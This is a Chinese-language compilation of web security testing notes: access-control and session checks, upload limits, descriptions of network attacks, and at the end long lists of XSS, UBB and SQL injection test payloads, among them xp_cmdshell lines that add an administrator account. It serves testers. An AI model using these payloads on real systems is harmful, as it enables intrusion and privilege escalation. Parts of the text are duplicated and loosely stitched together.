**安全性测试**

安全性测试主要是测试系统在没有授权的内部或者外部用户对系统进行攻击或者恶意破坏时如何进行处理，是否仍能保证数据和页面的安全。测试人员可以[**学习**](javascript:;)一些黑客[**技术**](javascript:;)，来对系统进行攻击。另外，对操作权限的测试也包含在安全性测试中。具体测试内容如下：  
  
执行添加、删除、修改等动作中是否做过登录检测。   
退出系统之后的操作是否可以完成。   
所有插入表单操作中输入特殊字符是否可以正常输正常存储，特殊字符为：！?#￥%……—\*（）~——-+=[]{}、|；：‘”？/《》<>，。   
在带有参数的回显数据的动作中更改参数，把参数改为特殊字符并加入操作语句看是否出错。   
测试表单中有没有做标签检测，标签检测是否完整。   
在插入表单中加入特殊的HTML代码，例如：<marquee>表单中的字本是否移动？</marquee>。

**系统安全性测试的十个重要问题**

**1:没有被验证的输入**

测试方法：

数据类型（字符串，整型，实数，等）

允许的字符集

最小和最大的长度

是否允许空输入

参数是否是必须的

重复是否允许

数值范围

特定的值（枚举型）

特定的模式（正则表达式）

**2:有问题的访问控制**

测试方法：

主要用于需要验证用户身份以及权限的页面，复制该页面的url地址，关闭该页面以后，查看是否可以直接进入该复制好的地址；

例：从一个页面链到另一个页面的间隙可以看到URL地址，直接输入该地址，可以看到自己没有权限的页面信息；

**3:错误的认证和会话管理**

分析：帐号列表：系统不应该允许用户浏览到网站所有的帐号，如果必须要一个用户列表，推荐使用某种形式的假名（屏幕名）来指向实际的帐号。   
浏览器缓存：认证和会话数据作为GET的一部分来发送  
认证和会话数据不应该作为GET的一部分来发送，应该使用POST，  
例：对Grid、Label、Tree view类的输入框未作验证，输入的内容会按照html语法解析出来；

**4:跨站脚本（XSS）**

分析：攻击者使用跨站脚本来发送恶意代码给没有发觉的用户，窃取他机器上的任意资料；  
测试方法：

•HTML标签：<…>…</…>

•转义字符：&amp(&)；&lt(<)；&gt(>)；&nbsp(空格) ；

•[脚本](http://www.spasvo.com/baike/412.html)语言：

<scrīpt language=‘javascrīpt’>  
…Alert(‘’)  
</scrīpt>

•特殊字符：‘  ’ <  >  /

•最小和最大的长度

•是否允许空输入  
 例：对Grid、Label、Tree view类的输入框未作验证，输入的内容会按照html语法解析出来

**5:缓冲区溢出**

没有加密关键数据

分析：用户使用缓冲区溢出来破坏web应用程序的栈，通过发送特别编写的代码到web程序中，攻击者可以让web应用程序来执行任意代码。

例：view－source：http地址可以查看源代码

在页面输入密码，页面显示的是 \*\*\*\*\*,  右键，查看源文件就可以看见刚才输入的密码；

**6:注入式漏洞**

分析：用户登录处、不用登录可以查看到的[**数据库**](javascript:;)中的数据列表尤为重要。  
例：一个验证用户登陆的页面，如果使用的sql语句为：

Select \*  from  table A where  username＝’’ + username+’’ and pass word ….

Sql 输入

‘ or 1＝1 ――

就可以不输入任何password进行攻击；

**7:不恰当的异常处理**

分析：程序在抛出异常的时候给出了比较详细的内部错误信息，暴露了不应该显示的执行细节，网站存在潜在漏洞；

**8:不安全的存储**

没有加密关键数据

分析：帐号列表：系统不应该允许用户浏览到网站所有的帐号，如果必须要一个用户列表，推荐使用某种形式的假名（屏幕名）来指向实际的帐号。

浏览器缓存：认证和会话数据不应该作为GET的一部分来发送，应该使用POST；   
  
例：view－source：http地址可以查看源代码  
     
在页面输入密码，页面不显示 “\*\*\*\*\*”；   
在页面输入密码，页面显示的是 \*\*\*\*\*,  
数据库中存的密码没有经过加密；  
地址栏中可以看到刚才填写的密码；  
右键查看源文件就可以看见刚才输入的密码；

**9:拒绝服务**

分析：Config中的链接字符串以及用户信息，邮件，数据存储信息都需要加以保护。攻击者可以从一个主机产生足够多的流量来耗尽狠多应用程序，最终使程序陷入瘫痪。需要做[负载](http://www.spasvo.com/baike/485.html)均衡来对付。

**10:不安全的配置管理**

分析：Config中的链接字符串以及用户信息，邮件，数据存储信息都需要加以保护

程序员应该作的：配置所有的安全机制，关掉所有不使用的服务，设置角色权限帐号，使用日志和警报。

例：数据库的帐号是不是默认为“sa”，密码（还有端口号）是不是直接写在配置文件里而没有进行加密。

软件安全测试涉及的方面

2.  
用户名和密码

  
是否设置密码最小长度  
  
用户名和密码中是否可以有空格或回车？  
  
是否允许密码和用户名一致  
  
防恶意注册：可否用自动填表工具自动注册用户？   
  
遗忘密码处理  
  
有无缺省的超级用户?  
  
有无超级密码?  
  
是否有校验码？  
  
密码错误次数有无限制？

3.  
直接输入需要权限的网页地址可以访问

如：没有登录或注销登录后，直接输入登录后才能查看的页面的网址，能直接打开页面；  
    注销后，点浏览器上的后退，可以进行操作。  
正常登录后，直接输入自己没有权限查看的页面的网址，可以打开页面。

5.  
隐藏域与CGI参数

分析：有此隐藏域中泄露了重要的信息，有时还可以暴露程序原代码。  
     直接修改CGI参数，就能绕过客户端的验证了。  
如：<input type="hidden" name="h" value="http://XXX/checkout.php">  
只要改变value的值就可能会把程序的原代码显示出来。

6.   
上传文件没有限制

分析：上传文件最好要有格式的限制；  
     上传文件还要有大小的限制。

7.  
把数据验证寄希望于客户端的验证

分析：客户端是不安全，重要的运算和算法不要在客户端运行。  
      重要的数据（如：密码）在客户端应该加密。

例：保存网页并对网页进行修改，使其绕过客户端的验证。（如只能选择的下拉框，对输入数据有特殊要求的文本框）

13.   传输中的密码没有加密

分析：传输中的密码要进行加密。  
  
传输前加密用SSL加密，https的方式提交用户名和密码；  
  
如果使用tomcat做服务器的话，SSL加密只需配置就可以了：  
  
TOMCAT用https替换http的方法     
  //////////////////////////////////////////////////////////////     
  首先用java的工具keytool   生成一个ssl证书：       
  keytool   -genkey   -keyalg   RSA         -alias   youraliasname     -keystore   .keystore            
  输入keystore密码：     yourpass     
  您的名字与姓氏是什么？     
      [Unknown]：     liubin     
  您的组织单位名称是什么？     
      [Unknown]：     test     
  您的组织名称是什么？     
      [Unknown]：     [www.test.com](http://www.test.com/)     
  您所在的城市或区域名称是什么？     
      [Unknown]：     beijing     
  您所在的州或省份名称是什么？     
      [Unknown]：     beijing     
  该单位的两字母国家代码是什么     
      [Unknown]：     cn     
  CN=liubin,   OU=test,   O=www.test.com,   L=beijing,   ST=beijing,   C=cn   正确吗？     
      [否]：     y       
  输入<CidSoftKey>的主密码     
                  （如果和   keystore   密码相同，按回车）：

Web应用系统的安全性测试区域主要有：     
      （1）现在的Web应用系统基本采用先注册，后登陆的方式。因此，必须测试有效和无效的用户名和密码，要注意到是否大小写敏感，可以试多少次的限制，是否可以不登陆而直接浏览某个页面等。     
      （2）Web应用系统是否有超时的限制，也就是说，用户登陆后在一定时间内（例如15分钟）没有点击任何页面，是否需要重新登陆才能正常使用。     
      （3）为了保证Web应用系统的安全性，日志文件是至关重要的。需要测试相关信息是否写进了日志文件、是否可追踪。     
      （4）当使用了安全套接字时，还要测试加密是否正确，检查信息的完整性。     
      （5）服务器端的脚本常常构成安全漏洞，这些漏洞又常常被黑客利用。所以，还要测试没有经过授权，就不能在服务器端放置和编辑脚本的问题。

我们觉得楼上的象是测试论坛或者需要登陆的网站呢     
  我就顺着加几条吧：     
  1。登陆系统，点击退出系统，或者注销，然后点击IE的退出，看看能否再次登陆，这个对于安全也比较需要，主要测试的是退出系统后，对cok0kies     
  2。如果你的系统，客户端比较多，那么就要判断一个用户能否同时在不同的机器上登陆     
  3。使用了加密的软件，WEB系统运行后，加密软件异常，包括关闭，退出，此时你的WEb系统安全怎么处理     
  4。你的WEB系统的教本信息是否会反应一些你的数据库信息，如，当前页面涉及了你的数据库里的那些表啦，等等。

　六、安全测试

Web应用系统的安全性测试区域主要有：

　　1、 目录设置

　　Web 安全的第一步就是正确设置目录。每个目录下应该有 index.html 或 main.html 页面，这样就不会显示该目录下的所有内容。如果没有执行这条规则。那么选中一幅图片，单击鼠标右键，找到该图片所在的路径"…com/objects/images"。然后在浏览器地址栏中手工输入该路径，发现该站点所有图片的列表。这可能没什么关系。但是进入下一级目录 "…com/objects" ，点击 jackpot。在该目录下有很多资料，其中有些都是已过期页面。如果该公司每个月都要更改产品价格信息，并且保存过期页面。那么只要翻看了一下这些记录，就可以估计他们的边际利润以及他们为了争取一个合同还有多大的降价空间。如果某个客户在谈判之前查看了这些信息，他们在谈判桌上肯定处于上风。

　　2.登录

　　现在的Web应用系统基本采用先注册，后登陆的方式。因此，必须测试有效和无效的用户名和密码，要注意到是否大小写敏感，可以试多少次的限制，是否可以不登陆而直接浏览某个页面等。

　　3.Session

　　Web应用系统是否有超时的限制，也就是说，用户登陆后在一定时间内(例如15分钟)没有点击任何页面，是否需要重新登陆才能正常使用。

　　4.日志文件

　　为了保证Web应用系统的安全性，日志文件是至关重要的。需要测试相关信息是否写进了日志文件、是否可追踪。

　　5.加密

　　当使用了安全套接字时，还要测试加密是否正确，检查信息的完整性。

　　6.安全漏洞

　　服务器端的脚本常常构成安全漏洞，这些漏洞又常常被黑客利用。所以，还要测试没有经过授权，就不能在服务器端放置和编辑脚本的问题。

　　目前网络安全问题日益重要，特别对于有交互信息的网站及进行电子商务活动的网站尤其重要。目前我们的测试没有涵盖网站的安全性的测试，我们拟定采用工具来测定，

　　工具如下

　　SAINT------- Security Administrator’s Integrated Network Tool  
　　此工具能够测出网站系统的相应的安全问题，并且能够给出安全漏洞的解决方案，不过是一些较为常见的漏洞解决方案。

**应用系统安全测试方法及内容**

|  |  |  |
| --- | --- | --- |
| [测试](http://softtest.chinaitlab.com)内容 | [测试](http://softtest.chinaitlab.com)要点 | 测试方法 |
| 应用系统的用户管理、权限管理应充分利用操作系统和数据库的[安全](http://security.chinaitlab.com/)性；应用软件运行时须有完整的日志记录。 | 日志记录的完整性 | 检测系统运行时是否会记录完整的日志。如进行详单查询，检测系统是否会记录相应的操作员、操作时间、系统状态、操作事项、IP地址等。 |
| 不允许以明文方式保存用户密码或系统使用的各类密码 | 用户密码或系统使用的各类密码的加密[存储](http://www.storworld.com/" \t "_blank) | 检查数据库中的用户密码、操作员密码等字段是否是以加密方式保存。 |
| 为保证[安全](http://security.chinaitlab.com/)性，口令不允许以明码的形式显示在输出设备上，应能对口令进行如下限制：最小口令长度、强制修改口令的时间间隔、口令的唯一性、口令过期失效后允许入网的宽限次数。 | 1．口令不允许以明码显示在输出设备上。  2．最小口令长度的限制。  3．强制修改的时间间隔限制。  4．口令的唯一性限制。  5．口令过期失效后允许入网的宽限次数限制 | 实际登录系统，输入相应的口令，检测口令是否是以加密形式显示，同时检测最小口令长度、强制修改口令的时间间隔、口令的唯一性、口令过期失效后允许入网的宽限次数。 |
| 应用系统应支持操作失效时间的配置，当操作员在所配置的时间内没有对界面进行任何操作则该应用自动失效。 | 1．支持操作失效时间的配置。  2．支持当操作员在所配置的时间内没有对界面进行任何操作则该应用自动失效。 | 检测系统是否支持操作失效时间的配置，同时达到所配置的时间内没有对界面进行任何操作时，检测系统是否会将用户自动失效，需要重新登录系统。 |
| 应用系统应提供完善的审计功能，对系统关键数据的每一次增加、修改和删除都能记录相应的修改时间、操作人和修改前的数据记录。 | 支持系统关键数据进行维护的记录功能。 | 检测对系统关键数据进行增加、修改和删除时，系统是否会记录相应的修改时间、操作人员和修改前的数据记录。 |
| 应用程序的源代码不允许放在运行主机上，应另行存放，并具有版本控制能力。 | 1．应用程序的源代码不允许放在运行主机上，应另行存放。  2．版本控制 | 1．登录主机审查应用程序的源代码存放位置。  2．查看支撑系统版本控制管理办法或相似文件，是否有相应的版本管理规章制度；软件升级、补丁植入流程管理是否合理。  3．查看系统软件版本记录文件及软件介质与软件操作手册，是否有详细的软件版本号、软件升级与补丁植入情况的记录。 |
| 各应用软件目录设置及其访问权限应有相应的规范，以保证系统的安全性和可维护性。 | 各应用软件目录设置及其访问权限应有相应的规范。 | 审查是否有各应用软件目录设置及其访问权限相应的规范文件。 |
| 接口程序连接登录必须进行认证（根据用户名、密码认证） | 支持接口程序连接登录时的认证。 | 实际运行系统，检测接口程序连接登录时，是否需要输入相应的用户名、密码进行认证。 |

**安全性测试**

**1、功能验证**

　　功能验证是采用[**软件测试**](javascript:;)当中的[**黑盒测试**](javascript:;)方法，对涉及安全的软件功能，如：用户管理模块，权限管理模块，加密系统，认证系统等进行测试，主要验证上述功能是否有效，具体方法可使用黑盒测试方法。

**2、漏洞扫描**

　 　安全漏洞扫描通常都是借助于特定的漏洞扫描器完成的。漏洞扫描器是一种自动检测远程或本地主机安全性弱点的程序。通过使用漏洞扫描器，系统管理员能够发 现所维护信息系统存在的安全漏洞，从而在信息系统网络安全保卫站中做到“有的放矢”，及时修补漏洞。按常规标准，可以将漏洞扫描分为两种类型：主机漏洞扫 描器（Host Scanner）和网络漏洞扫描器（Net Scanner）。主机漏洞扫描器是指在系统本地运行检测系统漏洞的程序，如著名的COPS、Tripewire、Tiger等自由软件。网络漏洞扫描器 是指基于网络远程检测目标网络和主机系统漏洞的程序，如Satan、ISS Internet Scanner等。

　　安全漏洞扫描是可以用于日常安全防护，同时可以作为对软件产品或信息系统进行测试的手段，可以在安全漏洞造成严重危害前，发现漏洞并加以防范。

**3、模拟攻击实验**

　　对于[**安全测试**](javascript:;)来 说，模拟攻击测试是一组特殊的黑盒测试案例，我们以模拟攻击来验证软件或信息系统的安全防护能力，下面简要列举在数据处理与数据通信环境中特别关心的几种 攻击。在下列各项中，出现了“授权”和“非授权”两个术语。“授权”意指“授予权力”，包含两层意思：这里的权力是指进行某种活动的权力（例如访问数 据）；这样的权力被授予某个实体、代理人或进程。于是，授权行为就是履行被授予权力（未被撤销）的那些活动。

　　● 冒充：就是一个实体假装成一个不同的实体。冒充常与某些别的主动攻击形式一起使用，特别是消息的重演与篡改。例如，截获鉴别序列，并在一个有效的鉴别序列使用过一次后再次使用。特权很少的实体为了得到额外的特权，可能使用冒充成具有这些特权的实体，举例如下。

　　1） 口令猜测：一旦黑客识别了一台主机，而且发现了基于NetBIOS、Telnet或NFS服务的可利用的用户帐号，并成功地猜测出了口令，就能对机器进行控制。

　 　2） 缓冲区溢出：由于在很多地服务程序中大意的程序员使用类似于“strcpy()，strcat()”不进行有效位检查的函数，最终可能导致恶意用户编写一 小段程序来进一步打开安全缺口，然后将该代码放在缓冲区有效载荷末尾，这样，当发生缓冲区溢出时，返回指针指向恶意代码，执行恶意指令，就可以得到系统的 控制权。

　　● 重演：当一个消息或部分消息为了产生非授权效果而被重复时，出现重演。例如，一个含有鉴别信息的有效消息可能被另一个实体所重演，目的是鉴别它自己（把它当作**[其他](javascript:;" \t "_self)**实体）。

　　● 消息篡改：数据所传送的内容被改变而未被发觉，并导致非授权后果，如下所示。

　　1） DNS高速缓存污染：由于DNS服务器与其他名称服务器交换信息的时候并不进行身份验证，这就使得黑客可以加入不正确得信息，并把用户引向黑客自己的主机。

　　2） 伪造电子邮件：由于SMTP并不对邮件发送者的身份进行鉴定，因此黑客可以对内部客户伪造电子邮件，声称是来自某个客户认识并相信的人，并附上可安装的特洛伊木马程序，或者是一个指向恶意网站的链接。

　　● 服务拒绝：当一个实体不能执行它的正常功能，或它的动作防碍了别的实体执行它们的正常功能的时候，便发生服务拒绝。这种攻击可能是一般性的，比如一个实体 抑制所有的消息，也可能是有具体目标的。例如，一个实体抑制所有流向某一特定目的端的消息，如安全审计服务。这种攻击可以是对通信业务流的抑制，或产生额 外的通信业务流。也可能制造出试图破坏网络操作的消息，特别是如果网络具有中继实体，这些中继实体根据从别的中继实体那里接收到的状态报告，来做出路由选择的决定。拒绝服务攻击种类很多，举例如下。

　　1） 死亡之ping（ping of death）：由于在早期的阶段，路由器对包的最大尺寸都有限制，许多操作系统对TCP/IP栈的实现在ICMP包上都规定为64KB，并且在读取包的标题后，要根据该标题头里包含的信息来为有效载荷生成缓冲区。当产生畸形的、声称自己的尺寸超过ICMP上限，也就是加载尺寸超过64K上限的包时，就会出 现内存分配错误，导致TCP/IP堆栈崩溃，致使接受方宕机。

　　2） 泪滴（Teardorop）：泪滴攻击利用那些在TCP/IP堆栈实现中信任IP碎片中的包的标题头所包含的信息来实现自己的攻击。IP分段含有指示该分段所包含的是原包的哪一段的信息，某些TCP/IP（包括Service Pack 4以前的NT）在收到含有重叠偏移的伪造分段时将崩溃。

　　3） UDP洪水（UDP Flood）： 各种各样的假冒攻击利用简单的TCP/IP服务，如Chargen和Echo来传送毫无用处的数据以占满带宽。通过伪造与某一主机的Chargen服务之间的一次的UDP连接，回复地址指向开着Echo服务的一台主机，这样就生成在两台主机之间的足够多的无用数据流，如果数据流足够多，就会导致带宽的服务攻击。

　　4） SYN洪水（SYN Flood）：一些TCP/IP栈的实现，只能等待从有限数量的计算机发来的ACK消息，因为它们只有有限的内存缓冲区用于创建连接，如果这一缓冲区充满 了虚假连接的初始信息，该服务器就会对接下来的连接请求停止响应，直到缓冲区里的连接企图超时为止。在一些创建连接不受限制的实现里，SYN洪水也具有类 似的影响。

　　5） Land攻击：在Land攻击中，一个特别打造的SYN包的原地址和目标地址都被设置成某一个服务器地址，这将导致接受服务器向它自己的地址发送SYN- ACK消息，结果，这个地址又发回ACK消息并创建一个空连接，每一个这样的连接都将保留，直到超时。各种系统对Land攻击的反应不同，许多UNIX实 现将崩溃，NT变得极其缓慢（大约持续5分钟）。

　　6） Smurf攻击：一个简单的Smurf攻击，通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求（ping）数据包，来淹没受害主机的方式进 行，最终导致该网络的所有主机都对此ICMP应答请求作出答复，导致网络阻塞，比“Ping of Death”洪水的流量高出一个或两个数量级。更加复杂的Smurf将源地址改为第三方的受害者，最终导致第三方雪崩。

　　7） Fraggle攻击：Fraggle攻击对Smurf攻击作了简单的修改，使用的是UDP应答消息，而非ICMP。

　　8） 电子邮件炸弹：电子邮件炸弹是最古老的匿名攻击之一，通过设置一台机器，不断大量地向同一地址发送电子邮件，攻击者能够耗尽接收者网络的带宽。

　　9） 畸形消息攻击：各类操作系统上的许多服务都存在此类问题，由于这些服务在处理信息之前没有进行适当正确的错误校验，在收到畸形的信息时可能会崩溃。

　　● 内部攻击：当系统的合法用户以非故意或非授权方式进行动作时就成为内部攻击。多数已知的计算机犯罪都和使系统安全遭受损害的内部攻击有密切的关系。能用来 防止内部攻击的保护方法包括：所有管理数据流进行加密；利用包括使用强口令在内的多级控制机制和集中管理机制来加强系统的控制能力；为分布在不同场所的业务部门划分VLAN，将数据流隔离在特定部门；利用防火墙为进出网络的用户提供认证功能，提供访问控制保护；使用安全日志记录网络管理数据流等。

　　● 外部攻击：外部攻击可以使用的方法有：搭线（主动的与被动的）、截取辐射、冒充为系统的授权用户、冒充为系统的组成部分、为鉴别或访问控制机制设置旁路等。

　　● 陷阱门：当系统的实体受到改变，致使一个攻击者能对命令或对预定的事件或事件序列产生非授权的影响时，其结果就称为陷阱门。例如，口令的有效性可能被修改，使得除了其正常效力之外也使攻击者的口令生效。

　　● 特洛伊木马：对系统而言的特洛伊木马，是指它不但具有自己的授权功能，而且还有非授权功能。一个向非授权信道拷贝消息的中继就是一个特洛伊木马。典型的特洛伊木马有NetBus、BackOrifice和BO2k等。

**4、侦听技术**

　　侦听技术实际上是在数据通信或数据交互过程，对数据进行截取分析的过程。目前最为流行的是网络数据包的捕获技术，通常我们称为Capture，黑客可以利用该项技术实现数据的盗用，而测试人员同样可以利用该项技术实现安全测试。

　　该项技术主要用于对网络加密的验证。

安全性测试

安全性测试是有关验证应用程序的安全服务和识别潜在安全性缺陷的过程。此节包括一些重要的测试建议，用来验证已创建安全的应用程序。

由于攻击者没有闯入的标准方法，因而也没有实施安全性测试的标准方法。另外，目前几乎没有可用的工具来彻底测试各个安全方面。由于应用程序中的功能错误也可代表潜在的安全性缺陷，因此在实施安全性测试以前需要实施功能测试。

有一点很重要，应注意安全性测试并不最终证明应用程序是安全的。而是只用于验证所设立对策的有效性，这些对策是基于威胁分析阶段所做的假设而选择的。

下面提供测试应用程序安全性的一些建议。

**测试缓冲区溢出**

缓冲区溢出是计算机历史中被利用的第一批安全错误之一。目前，缓冲区溢出继续是最危险也是最常发生的弱点之一。试图利用这种脆弱性可以导致种种问题，从损坏应用程序到攻击者在应用程序进程中插入并执行恶意代码。

将 数据写入缓冲区时，开发人员向缓冲区写入的数据不能超出其所能存放的数据。如果正在写入的数据量超出已分配的缓冲区空间，将发生缓冲区溢出。当发生缓冲区 溢出时，会将数据写入到可能为其他用途而分配的内存部分中。最坏的情形是缓冲区溢出包含恶意代码，该代码随后被执行。缓冲区溢出在导致安全脆弱性方面所占 的百分比很大。

**实施源代码安全检查**

根据所讨论应用程序的敏感程度，实施对应用程序源代码的安 全审核可能是明智的。不要将源代码审核与代码检查相混淆。标准代码检查的目的是识别影响代码功能的一般代码缺陷。源代码安全检查的目的则是识别有意或无意 的安全性缺陷。开发处理财政事务或提供公共安全的应用程序时尤其应保证进行这种检查。

**验证应急计划**

总是存在应用程序的安全防御被突破的潜在可能，只有应急计划就位并有效才是明智的。在应用程序服务器或数据中心检测到病毒时将采取哪些步骤？安全性被越过时，必须迅速作出反应来防止进一步损坏。在应急计划投入实战以前请弄清它们是否起作用。

**攻击您的应用程序**

测试人员习惯于攻击应用程序以试图使其失败。攻击您自己的应用程序是与其类似但目的更集中的过程。尝试攻击应用程序时，应寻找代表应用程序防御弱点的、可利用的缺陷。

Web应用程序的安全性问题依其存在的形势划分，种类繁多，这里不准备介绍所有的，只介绍常见、比较常见和有点常见这种级别的。我相信从Web应用安全角度来说，会比你从网上搜的要全面的多。以下是这些安全性问题的列表：

　　１、跨站脚本攻击(CSS or XSS, Cross Site Scripting)

　　２、SQL注入攻击(SQL injection)

　　３、远程命令执行(Code execution，个人觉得译成代码执行并不确切)

　　４、目录遍历(Directory traversal)

　　５、文件包含(File inclusion)

　　６、脚本代码暴露(Script source code disclosure)

　　７、Http请求头的额外的回车换行符注入(CRLF injection/HTTP response splitting)

　　８、跨帧脚本攻击(Cross Frame Scripting)

　　９、PHP代码注入(PHP code injection)

　　１０、XPath injection

　　１１、Cookie篡改(Cookie manipulation)

　　１２、URL重定向(URL redirection)

　　１３、Blind SQL/XPath injection for numeric/String inputs

　　１４、Google Hacking

Web Application Security Consortium（WASC）将Web应用安全威胁分为如下六类：

1 Authentication（验证）

用来确认某用户、服务或是应用身份的攻击手段。

2 Authorization（授权）

用来决定是否某用户、服务或是应用具有执行请求动作必要权限的攻击手段。

3 Client-Side Attacks（客户端攻击）

用来扰乱或是探测 Web 站点用户的攻击手段。

4 Command Execution（命令执行）

在 Web 站点上执行远程命令的攻击手段。

5 Information Disclosure（信息暴露）

用来获取 Web 站点具体系统信息的攻击手段。

6 Logical Attacks（逻辑性攻击）

用来扰乱或是探测 Web 应用逻辑流程的攻击手段。

建立整体的威胁模型，测试溢出漏洞、信息泄漏、错误处理、[SQL](http://www.ltesting.net/html/18/category-catid-418.html) 注入、身份验证和授权错误.

1. **输入验证**

客户端验证 服务器端验证(禁用脚本调试，禁用Cookies)

1.输入很大的数（如4,294,967,269），输入很小的数(负数)

2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应

3.输入特殊字符,如:~!@#$%^&\*()\_+<>:”{}|

4.输入中英文空格，输入字符串中间含空格，输入首尾空格

5.输入特殊字符串NULL,null，0x0d 0x0a

6.输入正常字符串

7.输入与要求不同类型的字符，如: 要求输入数字则检查正值,负值,零值（正零，负零）,小数,字母,空值; 要求输入字母则检查输入数字

8.输入html和javascript代码

9.对于像回答数这样需检验数字正确性的测试点，不仅对比其与问题最终页的回答数，还要对回答进行添加删除等操作后查看变化

例如：

1.输入<html”>”gfhd</html>,看是否出错；

2.输入<input type=”text” name=”user”/>,看是否出现文本框；

3.输入<script type=”text/javascript”>alert(“提示”)</script>看是否出现提示。

关于上传：

1.上传文件是否有格式限制,是否可以上传exe文件；

2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误；

3.通过修改扩展名的方式是否可以绕过格式限制，是否可以通过压包方式绕过格式限制；

4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。

5.上传文件大小大于本地剩余空间大小，是否会出现异常错误。

6.关于上传是否成功的判断。上传过程中，中断。程序是否判断上传是否成功。

7.对于文件名中带有中文字符，特殊字符等的文件上传。

下载：

1. 避免输入：\..\web.
2. 修改命名后缀。

关于URL：

1.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入；

2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错,是否可以非法进入某些页面；

3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。

4.输入善意字符。

UBB:

[url=http://www.\*\*\*\*.com] 你的网站[/url]

1.试着用各种方式输入UBB代码,比如代码不完整,代码嵌套等等.

2.在UBB代码中加入属性,如样式,事件等属性,看是否起作用

3.输入编辑器中不存在的UBB代码,看是否起作用

[url=javascript:alert('hello')]链接[/url]

[email=javascript:alert('hello')]EMail[/email]

[email=yangtao@rising.com.cn STYLE="background-image: url(javascript:alert('XSS'))"]yangtao@rising.com.cn[/email]

[img]http://www.13fun.cn/2007713015578593\_03.jpg style="background-image:url(javascript:alert('alert(xss)'))"[/img]

[img]http://www.13fun.cn/photo/2007-7/2007713015578593\_03.jpg "onmouseover=alert('hello');"[/img]

[b STYLE="background-image: url(javascript:alert('XSS'))"]一首诗酸涩涩服务网[/b]

[i STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]

[u]一二三四五六七北京市[/u]

[font=微软雅黑" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]

[size=4" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]

[color=Red" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]

[align=center" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]

[float=left" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]

[font=微软雅黑 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]

[size=4 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]

[color=Red STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]

[align=center STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]

[list=1]

[\*]一二三四五六七北京市[/list]

[indent]一二三四五六七北京市[/indent]

[float=left STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]

[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]

1. **输出编码**

常用的测试输入语句有：

<input type="text"/>

<input/>

<input/

<script>alert('hello');</script>

1.jpg" onmouseover="alert('xss')

"></a><script>alert(‘xss’);</script>

http://xxx';alert('xss');var/ a='a

‘”>xss&<

a=”\” ; b=”;alert(/xss/);//”

<img src=“输出内容” border=“0” alt=“logo” />

“’”

‘”’

“””

“ “ “

“”“

“‘ ”

title=””

对输出数据到输出数据的对比，看是否出现问题。

1. **防止SQL注入**

Admin--

‘or ­­­--­­

‘ and ( ) exec insert \* % chr mid

and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2

‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;

and 1=2 ; ‘and 1=2

and 2=2

and user>0

and (select count(\*) from sysobjects)>0

and (select count(\*) from msysobjects)>0

and (Select Count(\*) from Admin)>=0

and (select top 1 len(username) from Admin)>0(username 已知字段)

;exec master..xp\_cmdshell “net user name password /add”—

;exec master..xp\_cmdshell “net localgroup name administrators /add”—

and 0<>(select count(\*) from admin)

简单的如where xtype=’U’，字符U对应的ASCII码是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name=’用户’，可以用where name=nchar(29992)+nchar(25143)代替。

1. **跨站脚本攻击（XSS）**

对于 XSS，只需检查 HTML 输出并看看您输入的内容在什么地方。它在一个 HREF 标记中吗？是否在 IFRAME 标记中？它在 CLSID 标记中吗？在 IMG SRC 中吗？某些 Flash 内容的 PARAM NAME 是怎样的？

★[~!@#$%^&\*()\_+<>,./?;'"[]{}\-](mailto:~!@#$%^&*()_+<>,./?;'"[]{}\-)

★%3Cinput /%3E

★%3Cscript%3Ealert('XSS')%3C/script%3E

★<input type="text"/>

★<input/>

★<input/

★<script>alert('xss')</script>

★<script>alert('xss');</script>

★</script><script>alert(‘xss’)</script>

★javascript:alert(/xss/)

★javascrip&#116&#58alert(/xss/)

★<img src="#" onerror=alert(/xss/)>

★<img src="#" style="Xss:expression(alert(/xss/));">

★<img src="#"/\*\*/onerror=alert(/xss/) width=100>

★=’><script>alert(document.cookie)</script>

★1.jpg" onmouseover="alert('xss')

★"></a><script>alert(‘xss’);</script>

★http://xxx';alert('xss');var/ a='a

★’”>xss&<

★"onmouseover=alert('hello');"

★&{alert('hello');}

★>"'><script>alert(‘XSS')</script>

★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>

★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>

★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22

★%22%2Balert(%27XSS%27)%2B%22

★<table background="javascript:alert(([code])"></table>

★<object type=text/html data="javascript:alert(([code]);"></object>

★<body onload="javascript:alert(([code])"></body>

★a?<script>alert(’Vulnerable’)</script>

★<!--'">&:

var from = ‘$!rundata.Parameters.getString(’from’)';

　　var from = ”;hackerFunction(document.cookie);”;

http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津<script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX

1. **跨站请求伪造（CSRF）**

